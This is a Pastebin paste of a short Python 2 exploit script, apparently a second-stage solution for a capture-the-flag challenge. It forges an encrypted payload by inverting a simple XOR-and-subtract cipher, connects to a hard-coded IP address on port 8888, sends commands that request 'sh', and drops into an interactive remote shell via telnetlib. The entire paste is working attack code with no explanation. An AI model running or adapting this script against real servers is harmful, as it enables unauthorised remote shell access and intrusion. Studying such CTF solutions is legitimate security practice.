Advertisement
Jinmo

pirate_danbi_stage2.py

Mar 18th, 2015
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.96 KB | None | 0 0
  1. import socket
  2. import struct
  3. import bz2
  4. import telnetlib
  5. t = telnetlib.Telnet()
  6.  
  7. HOST = '54.92.37.119'
  8.  
  9. def cmd(s, c, p, send=True):
  10.     payload = chr(c) + struct.pack(">H", len(p))
  11.     payload += p
  12.     if send == False:
  13.         return payload
  14.     #print 'Sending cmd', c, 'Length:', len(p)
  15.     s.send(payload)
  16.  
  17. if __name__ == '__main__':
  18.     key = map(lambda x: x ^ 8, [128, 246, 213, 168, 40, 65, 128, 40])
  19.     key = bytearray(key)
  20.     target = "YO_DANBI_CREW_IN_THE_HOUSE.\x00"
  21.     target = bytearray(target)
  22.     if len(target) % 8 != 0:
  23.         target += "\x00" * (8 - len(target) % 8)
  24.     target += bytearray(map(lambda x: x ^ 8, key))
  25.     print len(target)
  26.     for i in range(len(target) - 16, -1, -8):
  27.         print i
  28.         for j in range(8):
  29.             target[i + j] = (target[i + j] - key[j]) & 0xff
  30.             target[i + j] ^= target[i + j + 8]
  31.     s = socket.create_connection((HOST, 8888))
  32.     cmd(s, 2, bz2.compress('sh'))
  33.     t.sock = s
  34.     cmd(s, 1, target)
  35.     cmd(s, 4, '')
  36.     cmd(s, 3, '')
  37.     cmd(s, 5, '')
  38.     t.interact()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement